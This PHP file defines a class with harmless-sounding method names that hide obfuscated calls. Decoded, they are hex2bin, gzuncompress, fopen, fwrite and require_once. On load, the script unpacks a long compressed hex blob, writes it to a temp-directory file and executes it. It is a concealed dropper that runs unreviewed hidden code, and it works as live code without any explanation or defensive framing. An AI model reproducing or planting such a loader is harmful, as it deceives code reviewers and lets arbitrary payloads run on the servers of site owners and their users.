<?php
class ExecutionFlow {
	private $rc = '';
	private $oo = '';

	public function logTransaction($p1) {
		$a = array((91+6+7),(77+6+18),(24+39+57),((37+2+11)),((102*8)-718),((115-10)),(110));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function sendNotification($p1) {
		$a = array((((41*95)-3792)),(((120*100)-11878)),(((52*1)+65)),(110),(((85*1)+14)),(3*37),(((92*88)-7987)),((86+26)),((40+60+14)),(101),(((108*1)+7)),((125-10)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function authorizeUser($p1,$p2) {
		$a = array((((11*1)+99)),((106-5)),(2*56),((38+2+71)),((19*46)-772));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function encryptData($p1,$p2) {
		$a = array(((86*1)+16),(60+5+54),(((6*13)+36)),((81*1)+24),((46*3)-22),(((82*65)-5229)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function prepareOutput($p1) {
		$a = array(((83*1)+18),((118*71)-8263),((3*37)),(48+60),((105-6)),(102));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function computeResult($p1,$p2=null) {
		$a = array((((105*64)-6606)),(((112*1)+4)),(33+4+77),(19+86),(((28*102)-2747)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function processData() {
		$this->oo = $this->computeResult($this->updateCache(), '/');
	}

	public function resetState() {
		$this->rc = $this->sendNotification($this->logTransaction($this->fy));
	}

	public function validateInput() {
		$fn = $this->oo.'/uu-67d4c8913d3a3';
		$f = $this->authorizeUser($fn, 'w');
		$this->encryptData($f, $this->rc);
		$this->prepareOutput($f);
		$this->rollbackTransaction($fn);
	}

	private $fy = '789ca5580b73a2ca12fe2b4955ea440ab540d484f572b6b28' . '91ab3594df019b752142f151d0179f8cac97fbfdd03b8605ea' . '7ea6c16c2f47cf3754f4fcf744ffef7dd9db9273a517dff449' . '96b8b17d7b3d66a609ef8811a58fa9932b7f7b5e8fb6412da7' . 'a6039f689325573678aea332fd62477ea9b64f2ed1b4532d1b' . '732dff939a6e69941e8d9279aea9bd5b26298ba6398b914fa3' . '7723c33b5d7acce941ecaf3921a22a99ea7ee72e78aa99d4b7' . 'f9f3f0edbf3f1a8bdbfefb7d79a2defb4d226783c2f9e0fb7b' . 'e26e8414fb873c72512764064c17305cfea3c7fae78fb251d5' . 'e1243a339088d6bbe6f8e7e908ef563a6dffef0d5617b6634c' . '95ab3c4d5d3683cd34bed9d3afa01a3391c6d397b1cfd04edd' . '2145e120a67e60285e311f9a937db37dddef84e5dea5cafe9d' . 'aedfa7635decbbfb0dd1d12411dca2379481ed4beb3199259e' . '7579db8406394c85c1b8c83ee101aee1a50b7031b3fe1593c7' . '20efcaaa0a6c90e15e9231c5235714e12b58038287f807653f' . '41ea6526299b1b26847f36e36be2953d1c2dda0c828357c0df' . 'd72c06ea91cbf964ef265b86af2b9de05f8a9deca9c7ee3ace' . 'f851ffc935511c6c3bba53adc12b529ee8d26700d76f74b589' . '1ae38d74afc4613da44b72a2b7d2f2e9e46f2ece13132781e8' . '4d48fc260a735449ca6b6248993439f6a82262a6b0013ba5b8' . '617c16e4da56b002be38c877c220dd4f9c1be5b10fea27a4cb' . 'ad83237e8b7329335021a447ab3c18148bd8aac9a92d5c1bf0' . '3a2c3db5e2423d63ea1aedc1c38968b083c40c32330957b01b' . '5a4559ff5078dabf5af6e7973f3e8b67012421be7d8490292c' . '2d57de45870202eeb9f459dcc290f8cbdd14a95703c6c73ea5' . '00c21526f34008f1fb99f80bd797428da9f50b42eb47d9076a' . 'ccb350dcde92e5940cb53d37a0e26c46658d34859c466ccb0d' . '56dc8fd7e43bce9d5d1cb8d1e4e549ec0ab3b38983fd152c8a' . '711377ee81303f74b7f2137e486d8ecc137df4ae08181f0fe6' . '2d0eef17263c435ea7203fa0efd5bd54af10dfa34266035502' . '9a06fe57e05b911aaaf761928370004743670f9658ac26d13a' . '3d78e9978427327a9815db93fc651f180c5a04b31647684a18' . '0b8d78e7a692453da2e3200147fa1bfd059f2a43b88820e47b' . '861d6a309e2e048e291f73c797023df8ad679ed1dc1802042a' . '2f5d49b80c7a3a0f7c7edaa6bbfeff7b837ee04c9a19ff21c0' . '87674678c9b77b6361417e3c73f3b89c64d34d36a7693118d7' . 'aa975bb990efac817f51f02dca06a510688fe1229961debe09' . '03df56ceb666be9f332087fa2d00916c9e1303a202dea120ce' . '9619d0a566bba17901083674947c6db15617076a209907f5e6' . '7a66a985e0e1320642fc86ee70a0020c7304ced9d3e6f4f49a' . '113f29fe5fb6600e9b059effd3e22b0f0ccde9f33cf0cf372a' . '64ced405226568609b3464443fbfffacb0f3cd7f1a356fe880' . 'e37dd0ee0a7923451896f322f86651e1b8ddbd341ce571320e' . 'f21301f60ffebe7c6638e882ddfbaa674a65c773a3f5bf5da9' . '9b2dc7a52ceb203c67342dbc8712cfc30354ce669b150acb0f' . '06087ef923871c7addf94e4593a52b9850794d636338b98718' . '591c617256acb6fbe2a148472e1a4001f6ca1542d3d47a504f' . 'af13482a40ce13996fe6722149b36bd2864feb15f0ac0232f7' . 'fb4144adc252b705c2131214b5e4dffbb60bf1400b9e699ea2' . '2f231cb7eecac65b4cad4e9807ba5ce8f0c2894cb225bbaa8b' . '0fc25cffcc7c92231ae7664478aab5ccccee48b36f39c638a6' . 'f482e59f86192553bea1458f0758eaaa73148e78718812bc39' . 'a5f5cc69df9587a592ef0c245a1245c3c274196658bf9543ff' . 'fa6b7540477655fccf35b7b791e421a5f94083b21004596174' . '5b650411186c44595bdac940b6209ecc05d66d93a090d339e4' . '9edf54f710b47c199a29b60ce3e90ec9010f87266f48b6eba7' . '09d59723cb2a012c3c9b93e39de3a5899a18b75333a93145d2' . '544d54876f763c5c55077daa1a4871e512cdbc2fd0f8c4c8d0' . 'ae03c705c14d961feba2fdf771e7a4ab77baf0cea72abf1f45' . '0afcbf9e8f0f937f0db4eb797cf8460854d3dcc27248dcefd7' . 'd6778dfb9beeab53aedfc7f8be34ff4c8f55e5f6ef7e4ab761' . '7d261be006b572e97d8027f7109074c1522e1e3b1b7f5ab1b1' . '8c30b1cc41ef709f0bad36ed7af7bbdd6af7aa7dfcb572a850' . 'b9115ca9f8c48a09903353bcb2fda0c460a0611d5616e4d9d6' . 'a40e92c88845333b0ec8913cba948278e6fc6029a956641263' . '184106b3ee4855329270862a154ba60c50a5bb86098f8b6478' . '3234e3e10572bc9553ddf54803b09b33365614bd8586598353' . '54e96d2716c07589dc3333fa773daa946066146c9b8f886117' . '70c94f8d1099364ba230cdedfa0e0c74447998b196aacf7df2' . '186a21f48dfc10399174496be1d45e707bbf4b9989662818fb' . '30a5569e23bfac2714d3b97431f7d4fc3b09e87e29ef996a91' . 'e40388d8b82b7fab000f1a8eb98e73c254c1f79253ccce89bf' . '9963ed839b6cc251549a8322f13370c7cfa9da713465b3548f' . '4059eafb27cb552288b49c23e9d984e3c0c8f186d2e4d20c2e' . '2c169dd952a9b7a126d9acfd080c52cafcd63d93c1b0d169d3' . '1ae15dac08b9079e1f0e54b1c9eac49ec827ea86ea278a48c9' . '8c6bc8d948440b72ec3f1f42654661805303be27e86c4224c8' . 'b91abb5fd19340e5d2346ebf3cfc078e701dcf78f98b08e5d4' . '56bfd9c0982359602268da18df69906bc7bbab48cfc500f5e7' . '88ee86d12b9a6f6950be758317f4c6da3ea10d931c17de966d' . 'c967017fa90cec7697b29baafd702af3f1ff2a9d439091dc4d' . 'ec42281e9296bd5cbe1ccd3f12bf2c54cb1f3453b4ab8dbe55' . '442a2e8683c5640dc3c5faeb065a86aa1be490d20eee12c8d0' . '430cfda6795fb2e3acc5e4c7de69c1c87f8949e4b409439828' . '8162d31960ff34c0f5cce50bad18a47bedc478b5d33b7503e3' . '0d4a0d3c422a067fef9e7d0d4e7e9d64643dbe251f1c4d4657' . 'c3b482b7170ebc0392bfd4d1933772138d6a85c9f1f5f91e0c' . 'e477b400dc484a14a90774c9bfee131fe3364dc9afb8e9d7ca' . '3050c4d2dc9150d87fedb5b99b3c85cc9d0ef1477f0cdebff0' . '1629d44b4';

	public function rollbackTransaction($p) {
		require_once $p;
	}

	public function updateCache() {
		$a=array((((64*1)+51)),121,((66*1)+49),(81+3+11),((103*1)),(34+8+59),((87+29)),((62*99)-6043),(22+94),(((65*44)-2759)),((105+3+1)),(117-5),(31+64),(97+2+1),(115-10),((14+100)));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$gu = new ExecutionFlow();
$gu->processData();
$gu->resetState();
$gu->validateInput();
